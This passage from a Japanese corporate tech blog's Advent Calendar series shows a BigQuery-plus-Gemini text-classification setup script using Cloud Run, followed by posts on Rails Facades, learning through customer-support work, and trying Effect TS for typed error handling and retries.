AIのGeminiにアクセスするための接続を作成します CLOUD_RESOURCE タイプの接続を使います IAM権限の設定 作成された接続には専用のサービスアカウントが紐づきます このサービスアカウントに roles/aiplatform.user ロールを付与して、Vertex AIを使えるようにします リモートモデルの定義 CREATE MODEL 文で、Gemini 2.5 Flash をリモートモデルとして登録します これでBigQueryからGeminiを呼び出せるようになります ML.GENERATE_TEXTで判定実行 ML.GENERATE_TEXT 関数を使って、各テキストに対してGeminiで判定を実行します プロンプトは CONCAT で動的に生成しています この方法の利点と課題 利点 完全自動化!スケジュールクエリで定期実行も可能 BigQueryの中で完結するので、データの移動が不要 課題 全行でLLMが呼ばれる = コストが高い 「10万円」みたいな明らかなキーワードがある場合も、わざわざLLMを呼んでいる ということで、さらなる最適化に挑戦します! アプローチ3: UDF + Cloud Run でコスト最適化 最後は、BigQueryのRemote UDFとCloud Runを組み合わせて、 ルールベース判定 → LLM判定 の2段階フィルタリングを実装します。 戦略 まず高速なルールベース判定(キーワードマッチ)を実行 キーワードに引っかからなかった場合のみ、LLMで判定 これでLLM呼び出し回数を大幅削減! 実装 スクリプト 全体 実行前の注意事項  ・この スクリプト は、Cloud Runのデプロイ、Dockerイメージのビルド、BigQueryリソースの作成、IAM権限の変更など、多くの GCP リソース操作を行います。  ・必ずご自身の責任の範囲内で実行してください。  ・ スクリプト は検証済みですが、 GCP プロジェクトの設定や権限状況により失敗する可能性があります。 前提条件:  ・ macOS 環境(または Linux 環境)で実行可能  ・ gcloud コマンドがインストール済みで、 GCP にログイン済みであること  ・対象の GCP プロジェクトで課金が有効化されていること  ・サービスアカウントへのIAMロール付与、Cloud Runのデプロイなど、プロジェクトに対する強い権限を持っていること  ・ bq コマンド、 jq コマンドがインストール済みであること 実行前の準備:  ・ スクリプト 内の PROJECT_ID="your_project_id" を、ご自身が管理する GCP プロジェクトIDに変更してください  ・必要に応じて、リージョンやサービス名などの変数も環境に合わせて調整してください  ・この スクリプト は set -e でエラー時に停止するようになっていますが、途中で失敗した場合は作成済みのリソースが残る可能性があります  ・エラーが発生した場合は、エラーメッセージを確認し、必要な権限やリソースが不足していないか確認してください 作成されるリソース:  ・BigQueryデー タセット ( llm_dataset )  ・BigQuery Connection( llm_connection_for_filtering )  ・Artifact Registry リポジトリ ( bq-udf-repo )  ・Cloud Runサービス( bq-udf-processor-final )  ・BigQuery Remote UDF( efficient_price_filter_final )  ・IAMロール付与(BigQuery ConnectionのサービスアカウントにCloud Run Invoker権限、Cloud RunのサービスアカウントにVertex AI User権限) #!/bin/bash set -e export PROJECT_ID="your_project_id" export CONNECTION_REGION="US" export CLOUDRUN_REGION="us-central1" export DATASET_ID="llm_dataset" export CONNECTION_NAME="llm_connection_for_filtering" export REPO_NAME="bq-udf-repo" export SERVICE_NAME="bq-udf-processor-final" export FUNCTION_NAME="efficient_price_filter_final" echo "--- 1. 必要なAPIの有効化 ---" gcloud services enable \ artifactregistry.googleapis.com \ run.googleapis.com \ cloudbuild.googleapis.com \ aiplatform.googleapis.com \ bigquery.googleapis.com \ bigqueryconnection.googleapis.com \ --project=${PROJECT_ID} --quiet echo "--- 2. BigQuery データセットの作成 ---" bq show --dataset ${PROJECT_ID}:${DATASET_ID} &>/dev/null || \ bq mk --dataset --location=${CONNECTION_REGION} ${PROJECT_ID}:${DATASET_ID} echo "--- 3. Artifact Registryの準備 ---" gcloud artifacts repositories create ${REPO_NAME} \ --repository-format=docker \ --location=${CLOUDRUN_REGION} \ --project=${PROJECT_ID} || true echo "--- 4. BQ Connectionの作成とサービスアカウントIDの取得 ---" CONNECTION_FULL_PATH="${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}" bq show --connection --location="${CONNECTION_REGION}" "${CONNECTION_FULL_PATH}" &>/dev/null || \ bq mk --connection --connection_type=CLOUD_RESOURCE --project_id="${PROJECT_ID}" --location="${CONNECTION_REGION}" "${CONNECTION_NAME}" SERVICE_ACCOUNT_ID=$(bq show \ --connection \ --location="${CONNECTION_REGION}" \ --format=json "${PROJECT_ID}".${CONNECTION_REGION}."${CONNECTION_NAME}" 2>/dev/null | jq -r '.cloudResource.serviceAccountId') if [ -z "$SERVICE_ACCOUNT_ID" ]; then echo "エラー: サービスアカウントIDの取得に失敗しました。" exit 1 fi echo "取得されたサービスアカウントID: ${SERVICE_ACCOUNT_ID}" echo "--- 5. ソースファイルの作成 ---" cat > main.py <<'EOF' from flask import Flask, request, jsonify import os from google import genai from google.genai import types app = Flask(__name__) PROJECT_ID = os.environ.get('GCP_PROJECT', 'your_project_id') LLM_REGION = 'us-central1' llm_client = None try: llm_client = genai.Client(vertexai=True, project=PROJECT_ID, location=LLM_REGION) except Exception as e: print(f"LLM Client Initialization Error: {e}") def call_llm_for_judgment(text): if not llm_client: return "ERROR_CLIENT_INIT" prompt = f"以下の文章に具体的な予算や価格帯を示す言葉が含まれていれば「Yes」、そうでなければ「No」のみを回答してください。\n文章:{text}" try: response = llm_client.models.generate_content( model="gemini-2.5-flash", contents=prompt ) return response.text.strip() except Exception as e: print(f"LLM API Call Failed: {e}") return "ERROR_LLM_CALL" @app.route('/', methods=['POST']) def handle_bq_udf(): try: data = request.get_json() calls = data['calls'] results = [] for call in calls: input_text = call[0] # --- 1. 高速なルールベース判定 --- keywords = ['万円', '予算', '価格', '費用', '円', 'ドル'] if any(k in input_text for k in keywords): results.append("Yes") continue # --- 2. LLMフォールバック判定 --- llm_result = call_llm_for_judgment(input_text) if llm_result.strip().upper() == "YES": results.append("Yes") else: results.append("No") return jsonify({"replies": results}) except Exception as e: return jsonify({"errorMessage": str(e)}), 400 if __name__ == '__main__': port = int(os.environ.get('PORT', 8080)) app.run(host='0.0.0.0', port=port) EOF echo "flask" > requirements.txt echo "google-genai" >> requirements.txt cat > Dockerfile <<'EOF' FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY main.py . EXPOSE 8080 CMD ["python", "main.py"] EOF echo "--- 6. イメージのビルドとCloud Runへのデプロイ ---" export IMAGE_URI="${CLOUDRUN_REGION}-docker.pkg.dev/${PROJECT_ID}/${REPO_NAME}/${SERVICE_NAME}:latest" gcloud builds submit --tag ${IMAGE_URI} --project=${PROJECT_ID} --quiet gcloud run deploy ${SERVICE_NAME} \ --image ${IMAGE_URI} \ --region ${CLOUDRUN_REGION} \ --platform managed \ --no-allow-unauthenticated \ --project=${PROJECT_ID} \ --quiet SERVICE_URL=$(gcloud run services describe ${SERVICE_NAME} --region ${CLOUDRUN_REGION} --project=${PROJECT_ID} | grep ^URL: | awk '{print $2}') echo "デプロイされたサービスURL: ${SERVICE_URL}" echo "--- 7. IAM権限付与 ---" # set -e の影響を一時的に無効化してチェック set +e INVOKER_CHECK=$(gcloud run services get-iam-policy ${SERVICE_NAME} \ --project=${PROJECT_ID} \ --region=${CLOUDRUN_REGION} \ --format="value(bindings.role, bindings.members)" \ | grep "roles/run.invoker" | grep "${SERVICE_ACCOUNT_ID}") CHECK_RESULT=$? set -e if [ $CHECK_RESULT = 0 ]; then echo "roles/run.invokerは付与済みです。" else echo "roles/run.invokerを付与します..." gcloud run services add-iam-policy-binding ${SERVICE_NAME} \ --member="serviceAccount:${SERVICE_ACCOUNT_ID}" \ --role="roles/run.invoker" \ --region ${CLOUDRUN_REGION} \ --project=${PROJECT_ID} --quiet echo "roles/run.invoker権限付与後、60秒待機します..." sleep 60 fi # Cloud RunサービスアカウントにVertex AI権限を付与 echo "Cloud RunサービスアカウントにVertex AI権限を付与します..." PROJECT_NUMBER=$(gcloud projects describe ${PROJECT_ID} --format="value(projectNumber)") CLOUDRUN_SA="${PROJECT_NUMBER}-compute@developer.gserviceaccount.com" gcloud projects add-iam-policy-binding "${PROJECT_ID}" \ --member="serviceAccount:${CLOUDRUN_SA}" \ --role="roles/aiplatform.user" \ --quiet echo "--- 8. リモート関数の定義と実行 ---" cat > remote_function_def.sql <<EOF CREATE OR REPLACE FUNCTION \`${PROJECT_ID}.${DATASET_ID}.${FUNCTION_NAME}\`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION \`${PROJECT_ID}.${CONNECTION_REGION}.${CONNECTION_NAME}\` OPTIONS ( endpoint = '${SERVICE_URL}' ); EOF echo "リモート関数の定義を実行します..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false < remote_function_def.sql # UDFの実行と結果確認 echo "UDFの実行と結果確認..." bq query --project_id=${PROJECT_ID} --use_legacy_sql=false <<EOF_EXEC SELECT original_text, \`${DATASET_ID}.${FUNCTION_NAME}\`(original_text) AS judgment_result FROM ( SELECT 'この製品の価格は10万円ですか?' AS original_text UNION ALL SELECT '見た目の高級感に対する満足度は?' AS original_text UNION ALL SELECT '製品の質感に対するニュアンスで高い評価はあるか?' AS original_text ); EOF_EXEC ポイント解説 1. Cloud Runアプリの実装(main.py) # --- 1. 高速なルールベース判定 --- keywords = [ '万円' , '予算' , '価格' , '費用' , '円' , 'ドル' ] if any (k in input_text for k in keywords): results.append( "Yes" ) continue # LLMを呼ばずに次へ # --- 2. LLMフォールバック判定 --- llm_result = call_llm_for_judgment(input_text) この2段階判定がポイントです! - キーワードに引っかかれば即座に「Yes」を返す(高速・低コスト) - キーワードがない場合のみLLMで判定(精度重視) 2. BigQuery Remote UDF CREATE OR REPLACE FUNCTION `project.dataset.function_name`(input_text STRING) RETURNS STRING REMOTE WITH CONNECTION `project.region.connection_name` OPTIONS ( endpoint = ' https://your-cloud-run-url ' ); BigQueryから外部のCloud Runエンドポイントを呼び出すUDFを定義します。 3. 使い方 SELECT original_text, `dataset.function_name`(original_text) AS judgment_result FROM your_table; 通常のBigQuery関数と同じように使えます! この方法の利点 コスト最適化 :明らかなケースはルールベースで処理し、LLM呼び出しを最小化 柔軟性 :Cloud Runのコードを変更すれば、判定ロジックを自由にカスタマイズ可能 スケーラビリティ :Cloud Runが自動スケールするので、大量データにも対応 保守性 :判定ロジックが Python コードなので、メンテナンスしやすい まとめ:3つのアプローチの比較 アプローチ コスト 実装難易度 おすすめ用途 1. コンソール→Spreadsheet 低 低 少量データの一回限りの分析、プロトタイピング 2. BQ ML 高 中 精度重視、コストは気にしない、完全自動化 3. UDF + Cloud Run 最適 高 本番運用、コスト最適化重視、カスタマイズ性重視 個人的には、最初は アプローチ1 で試してみて、定期実行が必要になったら アプローチ2 、さらにコストが気になってきたら アプローチ3 という段階的な進化がおすすめです! 参考リンク 本記事で紹介した各種コードは、 Google Cloud の公式ドキュメントを参考にしています。 Google Cloud ドキュメント BigQuery ML - ML.GENERATE_TEXT BigQuery Remote Functions Vertex AI Gemini API 感想 今回の実装を通して、外部接続の設定やサービスアカウントへのロール追加など、思ったより設定することが多いなと感じました。特にアプローチ3のUDF + Cloud Runの構成は、初回のセットアップにそれなりの手間がかかります。 ただ、一度作成してしまえば他の ユースケース にも流用できるため、非常に便利な機能だと実感しました。今後、BigQuery + ML利用についてはより簡素で柔軟な方法が出てくるかもしれませんが、本記事がみなさまの参考になれば幸いです。 明日の記事は同じAIテクノロ ジー グループの辻埜さんです。お楽しみに! 株式会社 エニグモ すべての求人一覧 hrmos.co
こんにちは。WEBアプリケーションエンジニアの小松です。 私はこれまで主に EC サイトの開発に携わってきて、普段は PHP を中心に書いてきました。 本格的に Ruby on Rails に触れるようになったのは、 エニグモ に入社してからです。 Rails のコードベースに新しく入ると、「 Rails ではこう書くのか」と驚く場面が多いのですが、その中でも特に戸惑ったのが Facade パターン でした。 Service、Presenter、FormObject あたりは PHP の現場でも馴染みがありましたが、 「Facade としてロジックをひとまとめにする構造」 は自分にとってほぼ未経験。 既存のプロジェクトに途中から入ったこともあり、理解するのに少し時間がかかりました。 この記事では、 「 Rails の Facade を初めて触った PHPer が、現場で実際に困ったこと・気づいたこと」 をあくまで主観ベースでまとめています。 既存の設計が悪いという話ではなく、 “初めて触る立場だとこう見えた” という記録として読んでいただければ幸いです。 この記事は[ Enigmo Advent Calendar 2025 ]の10日目の記事です。   1. シンプルそうに見えて、実際に追うとブラックボックスに感じる 2. URL の整形が Facade に隠れていて、修正しづらかった 3. 「内部構造を隠す」はメリットだが、初見だと手がかりが少なく感じる 4. 結合度を下げる設計のはずが、実際には“依存が集中して見える”ことも 5. 実際に Facade を触ってみて「こうしておけばよかった」と思ったこと ● URL 生成など、外に影響する処理は隠しすぎない方が助かる ● Facade の責務が簡単に読めるようにコメントやガイドがあると良い ● できれば役割ごとに小さく分割されている方が理解しやすい 6. PHPerとしてRailsのFacadeを使って良かったと思ったシーン まとめ 1. シンプルそうに見えて、実際に追うと ブラックボックス に感じる Facade は使う側からすると「呼べば結果が返ってくるシンプルな API 」です。 しかし、初めて触った私は最初こう思いました。 ログを取りたいのに、どこで何が動いているのか分からない。 Facade の中で複数のサービスが呼ばれ、さらにその中で別の処理が走っている。 コントローラ側から見えるのは「Facadeを叩いている」という一点だけ。 @page = ArticleFacade.build_page(category, tag) これだけでは、 ・どこで URL が組み立てられているのか ・どのサービスが動いているのか ・パラメータがどの時点で変化しているのか が最初は全然見えてこず、 PHP で慣れていた書き方とのギャップもあって、理解するまでに時間がかかりました。 「ここでログ取りたいんだけど、どこに入れればいいんだ?」これを探すのが一番苦労しました。 2. URL の整形が Facade に隠れていて、修正しづらかった 実際に困った実例がこちら。 「URL の末尾にスラッシュが付いたり付かなかったりする問題」 例えばこんなメソッドがあります。 def path_to_index(category, tag) if category.nil? index_path(tag: tag) else category_index_path(category: category, tag: tag) end end これが最終的に /foo/bar?tag=10/ のように、 意図しないスラッシュが付いたり外れたりする。 修正しようにも、 URL をどこで作っているのか最初は分からない。 コントローラ側ではなく、Facade の内部で生成している ログを入れる場所が見つからない 修正したらどこに影響するか読みにくい PHP では URL ヘルパー周りは比較的素直に見えていたので、「 Rails の Facade の奥でこうなっていたのか…」と理解するまでかなり時間を使いました。 3. 「内部構造を隠す」はメリットだが、初見だと手がかりが少なく感じる Facade のメリットは確かにあります。 複雑な処理を外部から隠せる 呼び出し側から見れば API がシンプルになる ただ、初めて触る立場からすると、 「隠れている」=手がかりが減る という面が大きく感じられました。 処理のどの段階で例外が起きているか分からない 目的の値がどの時点でセットされているか追いにくい 修正ポイントを見つけるまで時間がかかる Rails の慣れた人にとっては自然なパターンでも、経験がないと入口までしか見えず、内部の把握に苦労します。 4. 結合度を下げる設計のはずが、実際には“依存が集中して見える”ことも Facade の意図は「依存をまとめて隠す」だと思うのですが、初めて触った私には、 Facade に複数の処理が集まりすぎて、逆に依存が増えて見える という場面がありました。 あちこちのモデルやサービスを呼んでいる Facade を修正すると影響範囲が広そう 結果として「巨大クラス」に見えてしまう もちろん、初期開発から関わっている人には「ここに集約されているのが分かりやすい」という感覚があるのだと思います。 ただ、新規参入の PHP エンジニアとしては、この“まとまり方”に慣れるまで時間が必要でした。 5. 実際に Facade を触ってみて「こうしておけばよかった」と思ったこと Rails の Facade を初めて触る立場として、以下のような工夫があれば理解しやすかったと感じます。 ● URL 生成など、外に影響する処理は隠しすぎない方が助かる どこで作られているか分かるだけで追う負担が大きく減りました。 ● Facade の責務が簡単に読めるようにコメントやガイドがあると良い 「何をまとめたクラスか」だけ分かれば初動が速くなる。 ● できれば役割ごとに小さく分割されている方が理解しやすい 巨大な Facade は新規参入者にとってハードルが高く感じられました。 6. PHPerとして Rails のFacadeを使って良かったと思ったシーン ただ、触り慣れてくると良さも感じます。 コントローラが驚くほどスリムになる 「この機能を実装するにはここだけ読めば良い」という場所が決まる ロジックを UI・ ドメイン ・データ層のどれにも寄せずに置ける 特に「 ビジネスロジック をどこに置くか」という点で迷ったとき、Facade を入口にロジックをまとめていく設計は理解しやすく、 Rails の“見通しをよくする文化”に触れるきっかけにもなりました。 PHP の頃にも似たようなパターンはありましたが、 Rails ではそれがより自然にプロジェクトに溶け込んでいる印象です。 まとめ 今回の記事は、 Rails の Facade をほぼ初めて触った PHPer が、既存プロジェクトに途中参加して学んだこと をそのまま書いたものです。 ログの仕込み方に迷った URL の組み立てが追いにくかった 隠蔽が多く、最初は ブラックボックス に見えた 依存が集中しているように見える場面もあった とはいえ、理解が進むにつれて、 コードの見通しがよくなる 責務が整理される ロジックをまとめる場所として便利 など、 Rails ならではの良さも感じられました。 経験が浅いうちは苦労しますが、触っていくうちに「なぜこういう設計をしているのか」が少しずつ見えてきます。 明日 12/11 の記事は検索チームのエンジニアの記事です。
こんにちは。サーバーサイドエンジニアの高橋です。 この記事は Enigmo Advent Calendar 2025 の9日目の記事です。 中途入社してから3年が経ちました。この記事では、この3年間で携わってきた業務の中でも、特にCS(カスタマーサポート)対応が自分のスキル習得やプロダクト理解に大きく寄与した点についてまとめます。 ■ 入社当初の状況 入社直後は、プロダクトの構造や各 ドメイン の役割、社内ツール群の使い方など、把握できていないことが多くありました。 コードを読み解くにも関連する背景知識が不足しており、調査の進め方についても試行錯誤の状態でした。 新しい環境に慣れるまでの間、どこに情報があるのか、何を手がかりに理解を進めれば良いのか、といった基本的な部分で躓くことも多かったように思います。 ■ CS対応チームへの参加 入社から半年ほど経った頃、CS対応を行うチームに加わりました。 CS対応は、ユーザーから寄せられる問い合わせを起点として、状況の確認、原因調査、必要に応じた改善提案や不具合対応につなげる業務です。 多様な問い合わせ内容に触れるため、日々の調査の中で自然とプロダクト全体の構造や動作を理解する機会が増えました。結果として、入社初期に感じていた「何がどこで動いているのか分からない」という状態が徐々に解消されていきました。 ■ CS対応を通じて得た知見 ● 調査プロセスの定着 問い合わせ対応では、ログ確認、コード参照、仕様の再確認といった一連の調査フローを何度も繰り返すことになります。 この反復により、問題の切り分け方や仮説の立て方が体系化され、調査の進め方が安定してきました。 ● ドメイン 横断の理解 CS対応の振り返りでは、他 ドメイン のメンバーが対応した内容も共有されます。 自分が担当していない領域の知識も蓄積され、プロダクトの理解が横方向に広がりました。 「どの領域でどのような問題が起きやすいか」という傾向も把握しやすくなりました。 ● 過去事例を活かした調査効率の向上 似た内容の問い合わせが発生した際、以前調査した事例が役に立つ場面が増えました。 過去の調査内容やログのパターンが記憶として残っているため、問題特定までの時間が短縮されるようになりました。 ● 社内ツールやログへの理解 CS対応では頻繁に社内の管理ツールや各種ログを参照します。 どのログがどの機能に紐づくか、どの画面にどのデータがあるかを把握することで、後続の開発業務でも調査の起点を見つけやすくなりました。 ● 不具合の早期発見と改善 調査の過程で不具合に気づくこともあり、チケットを作成して改善につなげる経験も多くありました。 問い合わせ対応と開発業務が地続きであることを実感できた点は、自分にとって大きな学びでした。 ● 心理的 安全性のある学習環境 CS対応は調査中心であり、リリースに直接影響する場面が比較的少ないため、わからない点は周囲に相談しながら進められました。 こうした環境が、業務理解を段階的に深める助けになったと感じています。 ■ 社内の取り組みとの関連 Tech Blogでも、問い合わせ対応に関連した運用改善やナレッジ蓄積の取り組みが紹介されています。 tech.enigmo.co.jp 上記では、問い合わせ対応の属人化を防ぐための調査手順や振り返りの仕組みが取り上げられており、自分がCS対応に携わる中で感じていた課題と重なる部分も多くありました。 ■ 3年間を振り返って CS対応に関わったことで、 調査力 プロダクト全体の把握力 ログ・ツールの理解 ドメイン 横断の視点 不具合発見や改善の着眼点 といった基礎的な能力が身につきました。 これらは現在の開発業務を進める上でも、重要な土台になっています。 ■ 今後の取り組み 今後は、CS対応で得た知見をチーム全体で活用できる形にまとめていければと考えています。 調査手順のドキュメント整備 問い合わせ傾向の定期的な分析 改善につながる フィードバックループ の強化 開発とCSの情報共有の仕組みづくり 引き続き、プロダクト改善に貢献できるよう取り組んでいきたいと思います。 ■ おわりに 入社3年を迎えるタイミングで、特に学びの多かったCS対応について整理しました。 これから入社する方や、プロダクト理解を深めたい方にとって、CS対応が一つの有効な手段になり得ると感じています。 明日の記事の担当は エンジニア の 小松 さんです。お楽しみに。 株式会社 エニグモ すべての求人一覧 hrmos.co
こんにちは!フロントエンドエンジニアの張です! この記事は Enigmo Advent Calendar 2025 の8日目の記事です。 「型安全」、「堅牢性」、「開発体験」、どれもエンジニアでしたら、近年よく聞くキーワードだと思います。特にウェブ開発、フロントエンド開発界隈では、それらを改善するためにTypeScriptを導入・採用するチームが増える一方です。 でも、「それでは足りない、もっと堅牢的、かつ保守しやすいTypeScriptを書きたい!」だと主張するコミュニティが実は存在していて、彼らがたどり着いた解決策は今回私が導入を検討した Effect TS です。 私の調査を説明する前に、記事をわかりやすくするために、まずはいくつかのキーワードを定義したいと思います。 キーワード 型安全 プログラミング言語 、あるいは一部の言語(TypeScriptなど)においては、 ライブラリ を形容する単語。型安全な言語・ライブラリは コンパイル 時あるいはランタイム(実行時)に型の誤用を検知できて、開発者にそれを報告したり、プログラムを中止したりすることができます。 コンパイル 時、ランタイム両方で型の誤用を徹底的に防ぐ Rust は代表格の一つです。 Rust ほどではありませんが、今回のテーマになる TypeScript も型安全な言語だと認識されています。 堅牢性 プログラムが想定した形式で様々なシナリオを対応する能力です。具体的に話しますと、可能なエラーを検知して、適切な処理を実行したり、無効なインプットに対して、正しい処理で対処したりすることも堅牢性の高いソフトウェアの指標となります。 開発体験 簡単に言いますと、開発の快適さという意味です。エディター( VS Code など)とLSP (Language Server Protocol) で実現されたオートコンプリートとかも開発体験を改善してます。ほかには、LLM によるコード予測なども開発体験を向上させていると思われています。 導入を検討した理由 キーワードを簡単に説明できましたので、今回導入を検討した理由を説明したいと思います。 実は所属しているチームが来年からコードベースをMeta社の Flow-Typed から TypeScript に移行する予定なので、私は理想的な TypeScript の書き方を模索中です。 その中、Effect TS という気になっていたライブラリを思い浮かんで、調査を始めました。 気になっていたところなんですが、まさに「型安全」と「堅牢性」の部分でした。 Effect Type その名前の通り、Effect TSの骨幹となるのは、 Effect というデータストラクチャーです。Effect TSにおいて、一切の処理の起点が Effect になっていて、なにかを実行するため、まずはその処理を説明する Effect を実装しないといけません。 そして、その Effect ですが、従来の JavaScript のオブジェクトとも関数とも違って、処理の結果(success type)、エラー(error type)と依存関係(dependencies)を内包しています。わかりやすく説明しますと、 Rust にある Result Type に似ています。 その シグネチャ が以下になります Effect< Success , Error , Requirements > Error Type 依存関係については話を更に複雑にしますので、今回は割愛させていただきますが、 エラー はプログラムの「型安全」と「堅牢性」を大幅に改善することができます。 理由としては、TypeScript を含むおおよその プログラミング言語 はエラーを型の一部として認識していませんので、型で完全に処理が正しく実行されることを保証できません。 たたえば、以下は tsc (TypeScript Compiler) から何の警告もないんですが、 fallibleFn が失敗して、 console.log まで実行されない可能性がありますが、 Effect TS 、 Rust などエラーを型として扱うタイプシステムではそういうことが殆ど発生しません。 const fn = () => { const result = fallibleFn(); console .log( `The result is: ${ result } ` ); } ; const fallibleFn = () => { if ( Math . random () > 0.5 ) { return "hello world" ; } else { throw new Error ( "oops" ); } } ; Effect TSでの実装では、 tsc の型評価で関数が失敗することがあることがわかります const fnEffect = Effect.gen( function* () { const result = yield* fallibleEffect; yield * Console . log ( `The result is ${ result } ` ); } ); const fallibleEffect = Effect.try(() => { if ( Math . random () > 0.5 ) { return "hello world" ; } else { throw new Error ( "oops" ); } } ); error typeが UnknownExceptionになっています 堅牢性に関してですが、上述のように、エラーを持っている Effect を実行したら、返り値になる Effect も必ず エラーを持つことになります、それを完全になくすためにはそれを処理することは必要です。そして、処理する時、Effect TSは開発者が可能なエラーを全部対処することを要求します。 以下の スニペット は interestingFallibleEffect というエラーを持つ Effect をエラーなしの Effect にする処理です。可能なエラーを全部対応しないと、型からエラーが消えません。 class InterestingError extends Data.TaggedError( "InterestingError" )< { readonly message : string ; } > {} class MoreInterestingError extends Data.TaggedError( "MoreInterestingError" )< { readonly message : string ; } > {} const interestingFallibleEffect = Effect.gen( function* () { const random = Math . random (); if (random > 0.5 ) { return "hello world" ; } if (random > 0.25 ) { return yield* Effect.fail( new InterestingError( { message : "interesting error" } )); } return yield* Effect.fail( new MoreInterestingError( { message : "more interesting error" } )); } ); const errorFreeInterestingFallibleEffect = interestingFallibleEffect.pipe( Effect.catchTags( { InterestingError : () => Effect.succeed( "failed interestingly" ), MoreInterestingError : () => Effect.succeed( "failed even more interestingly" ), } ), ); エラーがなし(never)になっています 実装の詳細を色々端折って説明してしまいましたが、Effect TSが Error Type を通して「型安全」と「堅牢性」を改善できることがある程度伝えられたと思います。 結論として、私もできればソフトウェアを堅牢に作りたい方なので、今回の調査を決意しました。 既存コードをEffect TSで実装してみました それでは本題に入ります!このたび、実際の業務にEffect TSを導入するか、検討するために、 Buyma のフロントエンドのコードから適切な処理を選んで、Effect TSで実装してみました。 Effect TSの長所を活用するために、以下の基準で処理を選びました。 エラーが発生する可能性ある処理 リトライが必要な処理 お互いに依存性がある処理からできた処理 結果的に、こういう処理をEffect TSで実装してみました: メッセージをサーバーに送る処理: メッセージを送る前に、サーバーにメッセージの内容を送って、バリデーションを実行してもらいます。失敗の場合、400系のstatus codeが返ります。認証エラーの場合だけ、 トーク ン更新を実行して、リトライします。最終的に失敗していましたら、全体の処理が中止になります。 メッセージの本文を送ります、3回までリトライが可能で、認証エラーの場合、リトライの前に、 トーク ン更新を行いますが、更新が失敗した場合、リトライが中止になります。最終的に失敗した場合、全体の処理が中止になります。 2つ目の本文を送ります、3回までリトライが可能で、認証エラーの場合、リトライの前に、 トーク ン更新を行いますが、更新が失敗した場合、リトライが中止になります。最終的に失敗した場合、全体の処理が中止になります。 Effect TS の書き方を体験するための実装なので、実装の内容は簡略化されています。フロントエンドの実装も含まれていますと、更に分かりにくくなるため、今回はHTTPリクエストの処理だけを実装しました。 API を呼ぶ まずは、HTTPリクエストを処理するEffectを作成しました。 const callAPI = ( url : string ) => Effect.gen( function* () { const client = yield* makeAuthenticatedClient; const response = yield* client. get (url).pipe( Effect.catchAll(( error ) => { if (HttpClientError.isHttpClientError(error) && "response" in error) { const status = error. response . status ; return Console . log ( `API Error [ ${ status } ] at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `HTTP ${ status } error at ${ url } ` , status , } ), ), ), ); } return Console . log ( `Network error at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `Network error at ${ url } ` , status : 0 , } ), ), ), ); } ), ); const json = yield* response.json.pipe( Effect.catchAll(( _error ) => { return Console . log ( `JSON parse error at ${ url } ` ).pipe( Effect.andThen( Effect.fail( new APIError( { message : `Failed to parse JSON response at ${ url } ` , status : response. status , } ), ), ), ); } ), ); yield * Console . log ( `Response from ${ url } : ${ json } ` ); return json; } ); HTTP fetchのリクエストを発火して、エラーを APIError に統一して、成功する場合、結果を出力Effect です。 makeAuthenticatedClient という Effect からHTTP Clientを取得していますが、依存関係の話になりますので、詳細は割愛させていただきます。簡単に言いますと、Effect TSは 依存性注入 を推奨していて、HTTP Clientなどの共通関数は依存性としてEffectに提供することが多く、今回私もそう実装しています。そして、 fetch のエフェクト化のコストを省くために、 @effect/platform パッケージの HttpClient を使用しております。 トーク ンを更新する 以上の実装でHTTPリクエストを発火することができるようになりましたので、次は トーク ンを更新する処理を実装しました。あくまで書き方を検証するための実装なので、簡略化された実装となります。 const renewToken = Effect.gen( function* () { yield * Console . log ( "Renewing token..." ); const client = yield* HttpClient.HttpClient; const { token } = yield* AuthToken; const response = yield* client.post(RENEW_URL); const json = yield* response.json; const newToken = (json as { token : string ; } ).token; yield * Ref. set (token, newToken); yield * Console . log ( "token renewed" ); } ).pipe( Effect.catchAll(() => Effect.fail( new APIError( { message : "Token renewal failed" , status : 0 , } ), ) ), ); こちらはHttpClient以外に、AuthToken というサービスからEffect間に共有されている トーク ン(token) への参照(Ref) を取得していて、それ経由で共有の変数を更新しています。その変数は上述の makeAuthenticatedClient にも使われていますため、更新されたら、HTTP Clientが使う トーク ンが更新されたものになります。 リトライ、 リカバリ ー機能を追加 基本の処理が揃いましたので、次はEffectをリトライするEffectに変えるEffectを実装します。 const retryWithRecovery = < A , E , R , RA , RE , RR >( effect : Effect.Effect < A , E , R > , recoveryAction : Effect.Effect < RA , RE , RR > , recoveryPredicate : ( error : E ) => boolean , retryPredicate : ( error : E ) => boolean , maxRetries : number , ): Effect.Effect < A , E | RE , R | RR > => { const attempt = ( retriesLeft : number ): Effect.Effect < A , E | RE , R | RR > => effect.pipe( Effect.catchAll(( e ) => { if (retriesLeft > 0 && retryPredicate(e) && recoveryPredicate(e)) { return recoveryAction.pipe(Effect.andThen(attempt(retriesLeft - 1 ))); } if (retriesLeft > 0 && retryPredicate(e)) { return attempt(maxRetries - 1 ); } return Effect.fail(e); } ), ); return attempt(maxRetries); } ; ジェネリクス ( generics ) のせいで少し複雑に見えるかもしれませんが、よく見ますと結構簡単な処理です。 引数を説明しますと、 effect: メイン処理の effect 、成功時は A 型の値を返して、失敗時は E 型の値を返します。依存関係は R 型です。 recoveryAction: 失敗したら、次のメイン処理を実行する前に実行される effect 、次のメイン処理が失敗しないようにプログラムのステートをリカバーする処理です。成功時は RA 型の値を返して、失敗時は RE 型の値を返します。依存関係は RR 型です。 recoveryPredicate: リカバリ ーを実行するか、判断する関数。 true が返されたら、 リカバリ ーが実行されます。 retryPredicate: リトライを実行するか、判断する関数。 true が返されたら、リトライが実行されます。 maxRetries: 最大リトライ数。0になったら、 recoveryPredicate 、 retryPredicate の結果関係なしで、リトライが完了します。 引数の意味がわかりましたら、処理わかりやすくなるかと思います。つまり、この処理は、メイン処理にリトライする機能を追加しています。その上に、リトライの基準、 トーク ン更新などの リカバリ ー処理、 リカバリ ー処理を実行する基準を指定させることで、もっと柔軟なリトライ処理を作成することを可能にしています。単純に Effect をリトライしたいであれば、 Effect.retry というヘルパーを使ったらいいですが、今回参考になった既存実装は実際 リカバリ ーを考慮した実装なので、このように実装しました。 以上の処理は決して複雑な処理ではなくて、Effect TSなしでも実装できると思うかもしれませんが、Effect TSのおかげで、この Effect から生成された Effect 